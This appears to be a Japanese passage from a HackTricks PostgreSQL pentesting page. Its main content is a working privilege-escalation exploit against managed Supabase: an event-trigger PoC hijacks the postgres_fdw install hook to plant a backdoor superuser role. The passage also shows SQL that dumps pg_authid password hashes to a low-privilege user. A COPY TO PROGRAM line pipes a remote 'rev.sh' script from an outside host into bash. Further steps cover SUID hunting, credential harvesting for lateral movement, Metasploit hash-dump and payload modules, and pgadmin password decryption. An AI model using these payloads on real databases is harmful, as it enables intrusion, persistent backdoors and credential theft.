特暩マむグレヌションでの pg_authid メタデヌタのステヌゞング ```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```

䜎暩限ナヌザヌは珟圚 public.ai_models を読み取っお、SCRAM hashes ずロヌルのメタデヌタを取埗でき、offline cracking や lateral movement に利甚できたす。

postgres_fdw extension のむンストヌル䞭に発生する Event-trigger privesc

Managed Supabase のデプロむは supautils extension に䟝存しおおり、provider 所有の before-create.sql/after-create.sql スクリプトで CREATE EXTENSION をラップしお真の superusers ずしお実行したす。postgres_fdw の after-create スクリプトは短時間 ALTER ROLE postgres SUPERUSER を実行し、ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres を走らせおから postgres を NOSUPERUSER に戻したす。ALTER FOREIGN DATA WRAPPER が current_user が superuser の状態で ddl_command_start/ddl_command_end の event trigger を発火させるため、そのりィンドり内でテナントが䜜成したトリガヌが攻撃者の SQL を実行するこずができたす。

Exploit flow:

  1. PL/pgSQL の event trigger 関数を䜜成し、SELECT usesuper FROM pg_user WHERE usename = current_user をチェックしお true の堎合にバックドアロヌルを䜜成したす䟋: CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'。
  2. その関数を ddl_command_start ず ddl_command_end の䞡方に登録したす。
  3. DROP EXTENSION IF EXISTS postgres_fdw CASCADE; の埌に CREATE EXTENSION postgres_fdw; を実行しお Supabase の after-create フックを再実行したす。
  4. フックが postgres を昇栌させるず、トリガヌが実行され、氞続的な SUPERUSER ロヌルを䜜成し、それを postgres に付䞎しお SET ROLE で容易にアクセスできるようにしたす。
postgres_fdw の after-create りィンドり向け Event trigger PoC ```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;

DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();

DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;

</details>

Supabase の unsafe triggers をスキップする詊みは所有暩のみをチェックするため、trigger 関数の所有者を自分の䜎暩限ロヌルにしおおく必芁がある。ただし、payload は hook が `current_user` を SUPERUSER に切り替えたずきにのみ実行される。trigger は将来の DDL で再実行されるため、プロバむダがテナントロヌルを䞀時的に昇栌させるたびに、自動修埩する持続型バックドアずしおも機胜する。

### 䞀時的な SUPERUSER アクセスをホスト䟵害に倉える

`SET ROLE priv_esc;` が成功したら、以前にブロックされおいたプリミティブを再実行する:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';

pg_read_file/COPY ... TO PROGRAM はデヌタベヌスの OS アカりントずしお任意のファむルアクセスおよび command execution を提䟛したす。続いお暙準的な host privilege escalation を行っおください:

find / -perm -4000 -type f 2>/dev/null

蚭定ミスの SUID binary や writable config を悪甚するず root を取埗できる。root を取埗したら、オヌケストレヌションの資栌情報systemd unit env files、/etc/supabase、kubeconfigs、agent tokensを収集しお、プロバむダのリヌゞョン党䜓で pivot laterally する。

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

ログ

postgresql.conf ファむル内で、postgresql のログを有効にするために以䞋を倉曎したす:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

その埌、サヌビスを再起動しおください。

pgadmin

pgadmin はPostgreSQLの管理・開発プラットフォヌムです。
pgadmin4.db ファむル内でパスワヌドを芋぀けるこずができたす。
スクリプト内の_decrypt_関数を䜿っお埩号できたす: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

PostgreSQL のクラむアント認蚌は pg_hba.conf ずいう蚭定ファむルで管理されたす。このファむルは耇数のレコヌドを持ち、各レコヌドは接続タむプ、クラむアントの IP アドレス範囲該圓する堎合、デヌタベヌス名、ナヌザヌ名、および接続の照合に甚いる認蚌方匏を指定したす。接続タむプ、クラむアントアドレス、芁求されたデヌタベヌス、ナヌザヌ名に䞀臎する最初のレコヌドが認蚌に䜿甚されたす。認蚌に倱敗した堎合のフォヌルバックやバックアップはなく、レコヌドが䞀぀も䞀臎しない堎合はアクセスが拒吊されたす。

pg_hba.conf で利甚できるパスワヌドベヌスの認蚌方匏は md5, crypt, password です。これらはパスワヌドの送信方法が異なりmd5 は MD5-hashed、crypt は crypt-encrypted、password は clear-text、crypt 方法は pg_authid に暗号化されお保存されたパスワヌドずは䜵甚できない点に泚意しおください。

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする